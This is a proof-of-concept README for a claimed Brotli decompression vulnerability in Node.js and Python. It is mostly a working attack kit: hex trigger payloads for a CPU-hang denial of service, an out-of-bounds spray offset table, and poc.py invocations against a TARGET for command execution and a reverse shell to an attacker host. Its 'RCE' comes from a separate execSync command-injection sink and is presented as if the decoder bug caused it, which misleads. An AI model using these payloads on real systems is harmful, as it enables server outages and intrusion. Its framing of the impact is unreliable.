Proof-of-concept for CVE-2026-111497 in Google Brotli 1.0.3–1.2.0 (bundled inside Node.js). CVSS 4.0: 9.2 Critical.
Affected: Python brotli 1.0.3–1.2.0 · Node.js 22.x < 22.23.4 · 24.x < 24.22.1 · 26.x < 26.12.1
Root cause: DecodeBlockTypeAndLength() in c/dec/decode.c returns BROTLI_FALSE (= 0) when max_block_type <= 1, but BROTLI_FALSE == BROTLI_DECODER_SUCCESS == 0. Safe-mode callers (streaming API) misread the return as "need more input" via BROTLI_SAFE macro, saving state at BROTLI_STATE_COMMAND_BEGIN permanently → 100% CPU DoS. Non-safe (batch) path discards return → block_length[1] underflows to UINT32_MAX → decoder state corruption.
Reference: Aikido blog — Node2Shell
// c/dec/decode.c — DecodeBlockTypeAndLength()
if (max_block_type <= 1) {
return BROTLI_FALSE; // 0 == BROTLI_DECODER_SUCCESS — callers misread this
}In safe mode (BROTLI_SAFE macro), !BROTLI_FALSE = 1 → sets NEEDS_MORE_INPUT, saves state at BROTLI_STATE_COMMAND_BEGIN. In non-safe mode, the return value is discarded, block_length[1] underflows to UINT32_MAX, and subsequent array accesses are out-of-bounds.
Two distinct stuck states trigger NEEDS_MORE_INPUT loops:
| Trigger | Bytes | Stuck state | Mechanism |
|---|---|---|---|
| DoS (--hang) | 8 bytes (42 00 80 08 01 00 20 82) |
state=20 HUFFMAN_CODE_2 | NBLTYPESD=2 with complex distance block-length HTree — decoder reads code-length codes forever returning NEEDS_MORE_INPUT |
| CVE path | 13 bytes (90 00 40 04 01 00 40 04 05 01 01 40 00) |
state=7 COMMAND_BEGIN | NBLTYPESI=2, block_length[1]=1 → after 1 IC command block_length[1]=0 → DecodeCommandBlockSwitch called → block_length HTree needs 2 extra bits not present → bits exhausted → NEEDS_MORE_INPUT at state=7 (pre-CVE condition confirmed) |
The 8-byte trigger is the DoS attack payload (simpler, 100% NEEDS_MORE_INPUT for all 8 bytes). The 13-byte trigger demonstrates the exact CVE code path — DecodeBlockTypeAndLength bug fires at BROTLI_STATE_COMMAND_BEGIN with confirmed block_length[1]=0.
All claims confirmed against brotli 1.2.0 (Python binding and Node.js 26.8.2 linux/amd64):
# Python brotli 1.2.0 — Trigger A (8-byte DoS)
Trigger A (streaming 8-byte): result=b'' ← NMI, no error — decoder stuck
# Python brotli 1.2.0 — Trigger B (13-byte COMMAND_BEGIN)
Trigger B (batch brotli.decompress): brotli.error raised: brotli: decoder failed
# Node.js 26.8.2 — HTTP handler hang
[+] HANG CONFIRMED: No response after 3.0s
[+] Server stuck in NEEDS_MORE_INPUT loop in createBrotliDecompress()
# Node.js 26.8.2 — Webhook RCE (stock server, execSync command injection)
HTTP 200: {"ok":true,"event":"push","repo":"test","output":"uid=0(root) gid=0(root) groups=0(root)"}
[+] RCE CONFIRMED on Node.js v26.8.2 linux/amd64
# C / block_length[1] underflow (brotli 1.2.0 internal state, state.h access)
state = 7 (7=COMMAND_BEGIN)
block_length[1] (IC) = 0
[+] CONFIRMED: state=7, block_length[1]=0
0 - 1 = 4294967295 (0xffffffff = UINT32_MAX) — underflow confirmed
[+] UINT32_MAX underflow confirmed — non-safe path corrupts decoder state
| Field | Offset | spray index |
|---|---|---|
buffer.u8[0] |
64 | spray[3] (bit-reader pre-loads spray[0..2]) |
buffer_length |
72 | spray[11] ← OOB jump byte (0x3B) |
meta_block_remaining_len |
124 | spray[12] |
ringbuffer |
128 | spray[16] |
block_length[1] |
288 | spray[176] |
metadata_start_func |
720 | spray[608] |
metadata_chunk_func |
728 | spray[616] |
metadata_callback_opaque |
736 | spray[624] |
Formula: spray[k] → struct_offset 112+k for k ≥ 12 (after the buffer_length OOB jump at k=11).
Bit-reader pre-load offset: 13-byte trigger causes 2×8-byte chunk loads (16 bytes consumed from next_in). spray[0..2] land in the bit reader's val_ register and are not in avail_in at saveStateAndReturn. This shifts all OOB indices by +3 vs. a naive calculation.
import brotli
# 8-byte DoS trigger (state=20 stuck — HUFFMAN_CODE_2)
dos_trigger = bytes.fromhex("4200800801002082")
d = brotli.Decompressor()
result = d.process(dos_trigger)
print(f"DoS: result={result!r}") # b'' — decoder stuck, waiting forever
# 13-byte COMMAND_BEGIN trigger (state=7 — DecodeBlockTypeAndLength bug)
cmd_trigger = bytes.fromhex("90004004010040040501014000")
try:
brotli.decompress(cmd_trigger)
except brotli.error as e:
print(f"CVE confirmed: {e}") # brotli: decoder failed# Build and run in Docker (brotli 1.2.0)
docker build -f Dockerfile.asan -t cve-111497-dos .
docker run --rm cve-111497-dosExpected output shows both triggers confirmed with state transitions.
# Python dependencies
pip install requests brotli
# Node server (webhook injection + eval paths)
npm install
node server-stock.js # port 3000# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python poc.py -u http://TARGET:3000 --hang --path /api/data --timeout 10
# Webhook injection — command injection via execSync(hook) (stock server)
python poc.py -u http://TARGET:3000 --webhook --validate
python poc.py -u http://TARGET:3000 --webhook --cmd "id"
python poc.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT
# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python poc.py -u http://TARGET:3000 --oob --path /api/data
# Direct eval mode (server with /api/exec eval sink)
python poc.py -u http://TARGET --validate
python poc.py -u http://TARGET --cmd "id"
python poc.py -u http://TARGET --revshell LHOST LPORTFull option reference:
-u URL Target base URL
--hang DoS: 8-byte trigger → state=20 NEEDS_MORE_INPUT, keep connection open
--oob OOB write: 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
--webhook Webhook injection mode (stock server, execSync sink)
--validate Echo RCE marker to confirm execution
--cmd CMD Execute shell command
--sysinfo Dump hostname / arch / node version / uid
--revshell H P Reverse shell to H:P
--proxy URL HTTP proxy (Burp etc.)
--timeout S Request timeout seconds (default 30)
-v Verbose
| Mode | Flag | Mechanism | Target |
|---|---|---|---|
| DoS hang | --hang |
8-byte trigger → state=20 NEEDS_MORE_INPUT CPU loop → server handler never completes | Node.js with Content-Encoding: br streaming API |
| CVE trigger | --oob |
13-byte COMMAND_BEGIN trigger → block_length[1]=0 → BROTLI_FALSE confusion → NEEDS_MORE_INPUT DoS (safe) / UINT32_MAX underflow (non-safe) |
Node.js with createBrotliDecompress() |
| Webhook RCE | --webhook |
Valid brotli-compressed JSON with hook field → execSync(hook) command injection |
Node.js server with command injection sink |
| Direct eval | (default) | Brotli-compressed JS → /api/exec eval sink |
Lab server only |
POST /api/webhook
Content-Encoding: br
Content-Type: application/json
<Brotli-compressed JSON: {"event":"deploy","repo":"x","hook":"id"}>
- Server decompresses Brotli via Node's bundled C decoder (
createBrotliDecompress()) - Application passes
req.body.hooktoexecSync(hook) - Attacker command executes with Node process privileges
For authorized security research and CTF use only. Do not run against systems you do not own or have explicit written permission to test.